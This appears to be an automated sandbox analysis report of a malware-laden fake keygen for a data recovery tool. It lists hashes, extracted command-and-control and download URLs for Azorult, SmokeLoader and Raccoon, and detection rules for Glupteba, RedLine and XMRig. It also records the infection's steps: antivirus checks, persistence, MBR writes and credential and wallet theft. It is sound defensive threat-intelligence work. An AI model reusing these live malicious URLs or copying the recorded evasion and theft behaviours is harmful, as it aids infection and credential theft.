Resubmissions
06/04/2021, 13:50
210406-gc51ndzsc2 1026/03/2021, 23:40
210326-d1ybrjhevx 1013/03/2021, 17:16
210313-8s7b52z63e 1005/03/2021, 14:52
210305-34k3zj54f2 1001/03/2021, 13:17
210301-naamxpgf4e 1028/02/2021, 20:46
210228-6q3b959xae 1028/02/2021, 20:15
210228-mbr268za12 1028/02/2021, 18:32
210228-h944b5cpxa 1028/02/2021, 15:10
210228-hnwwpyjy7j 10Analysis
-
max time kernel
55s -
max time network
446s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
28/02/2021, 18:32
Static task
static1
Behavioral task
behavioral1
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral5
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win7v20201028
Errors
General
-
Target
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
-
Size
9.2MB
-
MD5
b806267b5f3b7760df56396b1cf05e6d
-
SHA1
5166d4c1d3e476281d9e991eababc3e4aa9ec5ad
-
SHA256
f95d12a0dbd8199d16f48d8e4cbe69a8d4ec16c534efb36e52a662664e1c1783
-
SHA512
30e393bb3898edc8ab5fb04e62ce421ddf3903075f59e3880408b300f46bb74a85088336d6e1203b2101152cebeef4c1730290b41ca77604ecb722c8f627328b
Malware Config
Extracted
http://labsclub.com/welcome
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
metasploit
windows/single_exec
Extracted
smokeloader
2020
http://naritouzina.net/
http://nukaraguasleep.net/
http://notfortuaj.net/
http://natuturalistic.net/
http://zaniolofusa.net/
http://4zavr.com/upload/
http://zynds.com/upload/
http://atvua.com/upload/
http://detse.net/upload/
http://dsdett.com/upload/
http://dtabasee.com/upload/
http://yeronogles.monster/upload/
Extracted
smokeloader
2019
http://10022020newfolder1002002131-service1002.space/
http://10022020newfolder1002002231-service1002.space/
http://10022020newfolder3100231-service1002.space/
http://10022020newfolder1002002431-service1002.space/
http://10022020newfolder1002002531-service1002.space/
http://10022020newfolder33417-01242510022020.space/
http://10022020test125831-service1002012510022020.space/
http://10022020test136831-service1002012510022020.space/
http://10022020test147831-service1002012510022020.space/
http://10022020test146831-service1002012510022020.space/
http://10022020test134831-service1002012510022020.space/
http://10022020est213531-service100201242510022020.ru/
http://10022020yes1t3481-service1002012510022020.ru/
http://10022020test13561-service1002012510022020.su/
http://10022020test14781-service1002012510022020.info/
http://10022020test13461-service1002012510022020.net/
http://10022020test15671-service1002012510022020.tech/
http://10022020test12671-service1002012510022020.online/
http://10022020utest1341-service1002012510022020.ru/
http://10022020uest71-service100201dom2510022020.ru/
http://10022020test61-service1002012510022020.website/
http://10022020test51-service1002012510022020.xyz/
http://10022020test41-service100201pro2510022020.ru/
http://10022020yest31-service100201rus2510022020.ru/
http://10022020rest21-service1002012510022020.eu/
http://10022020test11-service1002012510022020.press/
http://10022020newfolder4561-service1002012510022020.ru/
http://10022020rustest213-service1002012510022020.ru/
http://10022020test281-service1002012510022020.ru/
http://10022020test261-service1002012510022020.space/
http://10022020yomtest251-service1002012510022020.ru/
http://10022020yirtest231-service1002012510022020.ru/
Extracted
raccoon
9ba64f4b6fe448911470a88f09d6e7d5b92ff0ab
-
url4cnc
https://telete.in/jagressor_kz
Extracted
raccoon
e4d9483b3bf93472877ddcf6765b01165102aed5
-
url4cnc
https://telete.in/s3santodomingo
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
DiamondFox
DiamondFox is a multipurpose botnet with many capabilities.
-
Glupteba Payload 6 IoCs
resource yara_rule behavioral4/memory/4288-286-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral4/memory/4288-288-0x0000000003850000-0x00000000040AD000-memory.dmp family_glupteba behavioral4/memory/4288-289-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral4/memory/6652-840-0x0000000000400000-0x0000000000C1B000-memory.dmp family_glupteba behavioral4/memory/6652-839-0x0000000003670000-0x0000000003E72000-memory.dmp family_glupteba behavioral4/memory/6652-841-0x0000000000400000-0x0000000000C1B000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 8 IoCs
resource yara_rule behavioral4/memory/6120-430-0x0000000000400000-0x0000000000428000-memory.dmp family_redline behavioral4/memory/3796-450-0x0000000000400000-0x0000000000426000-memory.dmp family_redline behavioral4/memory/1776-663-0x00000000070A0000-0x00000000070CE000-memory.dmp family_redline behavioral4/memory/1776-669-0x0000000007120000-0x000000000714C000-memory.dmp family_redline behavioral4/memory/7584-960-0x0000000004C10000-0x0000000004C3B000-memory.dmp family_redline behavioral4/memory/6932-971-0x0000000002F20000-0x0000000002F49000-memory.dmp family_redline behavioral4/memory/6932-975-0x0000000002F90000-0x0000000002FB7000-memory.dmp family_redline behavioral4/memory/7584-954-0x0000000004A40000-0x0000000004A6C000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
DiamondFox payload 2 IoCs
Detects DiamondFox payload in file/memory.
resource yara_rule behavioral4/memory/7820-935-0x0000000000400000-0x0000000000435000-memory.dmp diamondfox behavioral4/memory/7820-933-0x0000000003000000-0x0000000003033000-memory.dmp diamondfox -
Nirsoft 5 IoCs
resource yara_rule behavioral4/files/0x000100000001ab6f-89.dat Nirsoft behavioral4/files/0x000100000001ab6f-88.dat Nirsoft behavioral4/files/0x000100000001aba7-122.dat Nirsoft behavioral4/files/0x000100000001aba7-121.dat Nirsoft behavioral4/files/0x000100000001abc5-164.dat Nirsoft -
XMRig Miner Payload 4 IoCs
resource yara_rule behavioral4/memory/4356-844-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral4/memory/4356-847-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral4/memory/4356-849-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral4/memory/5880-888-0x0000000003200000-0x00000000032F1000-memory.dmp xmrig -
Creates new service(s) 1 TTPs
-
Executes dropped EXE 41 IoCs
pid Process 3944 keygen-pr.exe 2776 keygen-step-1.exe 1308 keygen-step-3.exe 2328 keygen-step-4.exe 4004 key.exe 2064 Setup.exe 3980 key.exe 2184 26FF190E7AE0F7C7.exe 2228 26FF190E7AE0F7C7.exe 1336 Install.exe 2496 multitimer.exe 3620 file.exe 4120 1614540980659.exe 4208 B7DC.tmp.exe 4300 multitimer.exe 4344 B7DC.tmp.exe 4448 multitimer.exe 4572 1614540985878.exe 4704 md2_2efs.exe 1532 r2jpjl0jq5k.exe 2340 safebits.exe 1740 vict.exe 4252 BTRSetp.exe 1524 kzmd3ob5k2h.exe 4308 setup_10.2_us3.exe 3056 Setup3310.exe 4196 r2jpjl0jq5k.tmp 4480 1614540991644.exe 4600 vict.tmp 4288 app.exe 4296 nrdgll0aeuq.exe 4388 chashepro3.exe 4408 Setup3310.tmp 4392 setup_10.2_us3.tmp 3432 fpfu4qdg4lv.exe 4204 vpn.exe 1292 IBInstaller_97039.exe 4892 chashepro3.tmp 4940 IBInstaller_97039.tmp 4932 vpn.tmp 5016 gl.exe -
Modifies Windows Firewall 1 TTPs
-
resource yara_rule behavioral4/files/0x000100000001ab69-35.dat office_xlm_macros -
resource yara_rule behavioral4/files/0x0002000000015667-128.dat upx behavioral4/files/0x0002000000015667-129.dat upx -
Loads dropped DLL 6 IoCs
pid Process 3116 MsiExec.exe 4196 r2jpjl0jq5k.tmp 4600 vict.tmp 4408 Setup3310.tmp 4408 Setup3310.tmp 4940 IBInstaller_97039.tmp -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 6904 icacls.exe -
Obfuscated with Agile.Net obfuscator 1 IoCs
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
resource yara_rule behavioral4/memory/4468-356-0x00000000062C0000-0x00000000062E1000-memory.dmp agile_net -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Uses the VBS compiler for execution 1 TTPs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\imois1joz01 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\S8AEA6P52S\\multitimer.exe\" 1 3.1614537170.603be1d2625af" multitimer.exe -
Checks for any installed AV software in registry 1 TTPs 53 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\avast! Antivirus multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AVP18.0.0 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BavSvc multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Sophos multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McProxy multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Vba32\Loader multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\COMODO\CIS multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Fortinet\FortiClient\installed multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\McAfee\DesktopProtection multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\BullGuard Ltd.\BullGuard\Main multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AntiVirService multitimer.exe Key opened \REGISTRY\MACHINE\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\KasperskyLab multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Bitdefender\QuickScan multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet\Services\MBAMProtector multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\TrendMicro\UniClient multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\a2AntiMalware multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McAPExe multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\G Data\AntiVirenKit multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\ArcaBit multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\IKARUS\anti.virus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Jiangmin\ComputerID multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QHActiveDefense multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DrWebAVService multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\FRISK Software\F-PROT Antivirus for Windows multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\K7 Computing\K7TotalSecurity multitimer.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md2_2efs.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Setup.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 12 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 167 ipinfo.io 290 api.2ip.ua 291 api.2ip.ua 324 ipinfo.io 352 api.2ip.ua 371 ipinfo.io 433 ip-api.com 48 api.ipify.org 82 ipinfo.io 84 ipinfo.io 186 ip-api.com 187 api.ipify.org -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum multitimer.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 Setup.exe File opened for modification \??\PhysicalDrive0 26FF190E7AE0F7C7.exe File opened for modification \??\PhysicalDrive0 26FF190E7AE0F7C7.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 2064 Setup.exe -
Suspicious use of SetThreadContext 5 IoCs
description pid Process procid_target PID 4004 set thread context of 3980 4004 key.exe 88 PID 2184 set thread context of 2168 2184 26FF190E7AE0F7C7.exe 106 PID 4208 set thread context of 4344 4208 B7DC.tmp.exe 115 PID 2184 set thread context of 4560 2184 26FF190E7AE0F7C7.exe 118 PID 2184 set thread context of 2236 2184 26FF190E7AE0F7C7.exe 127 -
Drops file in Program Files directory 48 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\JCleaner\gl.exe chashepro3.tmp File created C:\Program Files (x86)\DTS\images\is-NDG4H.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\JCleaner\is-MELJM.tmp chashepro3.tmp File created C:\Program Files (x86)\DTS\lang\is-7VNVT.tmp setup_10.2_us3.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Delphi.dll IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\JCleaner\jayson.exe chashepro3.tmp File created C:\Program Files (x86)\DTS\images\is-8DOM2.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\images\is-1PN8A.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\images\is-56SFG.tmp setup_10.2_us3.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Studio.Refactoring.dll IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Globalization.dll IBInstaller_97039.tmp File created C:\Program Files (x86)\DTS\unins000.dat setup_10.2_us3.tmp File opened for modification C:\Program Files (x86)\JCleaner\ww.exe chashepro3.tmp File created C:\Program Files (x86)\DTS\images\is-M33JM.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\images\is-EEATR.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\JCleaner\is-P9NMC.tmp chashepro3.tmp File created C:\Program Files (x86)\DTS\lang\is-NBO1G.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\is-E7H1S.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\is-ATN83.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\is-KSUAG.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\is-F9T20.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\images\is-3ULJ2.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\JCleaner\is-HADNI.tmp chashepro3.tmp File opened for modification C:\Program Files (x86)\DTS\unins000.dat setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\is-1ECFF.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\JCleaner\unins000.dat chashepro3.tmp File created C:\Program Files (x86)\DTS\images\is-C7J3N.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\images\is-8G493.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\images\is-K4VKD.tmp setup_10.2_us3.tmp File opened for modification C:\Program Files (x86)\JCleaner\unins000.dat chashepro3.tmp File created C:\Program Files (x86)\JCleaner\is-L6DIJ.tmp chashepro3.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Studio.Interop.dll IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\am805.dll IBInstaller_97039.tmp File created C:\Program Files (x86)\DTS\images\is-0LPP8.tmp setup_10.2_us3.tmp File opened for modification C:\Program Files (x86)\DTS\DreamTrip.exe setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\is-I2NNS.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\images\is-42EVN.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\images\is-RU8A3.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\images\is-VG4AE.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\images\is-T1Q58.tmp setup_10.2_us3.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\ServiceModelInstallRC.dll IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Studio.Host.dll IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\DTS\seed.sfx.exe setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\is-7DJ4F.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\is-QD0LN.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\images\is-LD76V.tmp setup_10.2_us3.tmp File created C:\Program Files (x86)\DTS\is-90B26.tmp setup_10.2_us3.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Studio.Delphi.dll IBInstaller_97039.tmp -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new multitimer.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 21 IoCs
pid pid_target Process procid_target 2748 3432 WerFault.exe 170 3772 3432 WerFault.exe 170 5212 3432 WerFault.exe 170 5392 3432 WerFault.exe 170 5748 3432 WerFault.exe 170 5528 3432 WerFault.exe 170 3724 3432 WerFault.exe 170 4304 3432 WerFault.exe 170 6140 3432 WerFault.exe 170 5324 3432 WerFault.exe 170 5892 3432 WerFault.exe 170 4108 2340 WerFault.exe 124 6104 7020 WerFault.exe 407 6216 7020 WerFault.exe 407 384 7020 WerFault.exe 407 6876 7020 WerFault.exe 407 4224 7020 WerFault.exe 407 4996 7020 WerFault.exe 407 6464 7020 WerFault.exe 407 2792 7020 WerFault.exe 407 6196 7020 WerFault.exe 407 -
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName 26FF190E7AE0F7C7.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 B7DC.tmp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString B7DC.tmp.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6204 schtasks.exe 6760 schtasks.exe -
Delays execution with timeout.exe 2 IoCs
pid Process 6888 timeout.exe 4244 timeout.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer multitimer.exe -
Kills process with taskkill 4 IoCs
pid Process 3364 taskkill.exe 4856 taskkill.exe 6164 TASKKILL.exe 2764 taskkill.exe -
Modifies data under HKEY_USERS 1 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\PegasPc file.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD Setup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f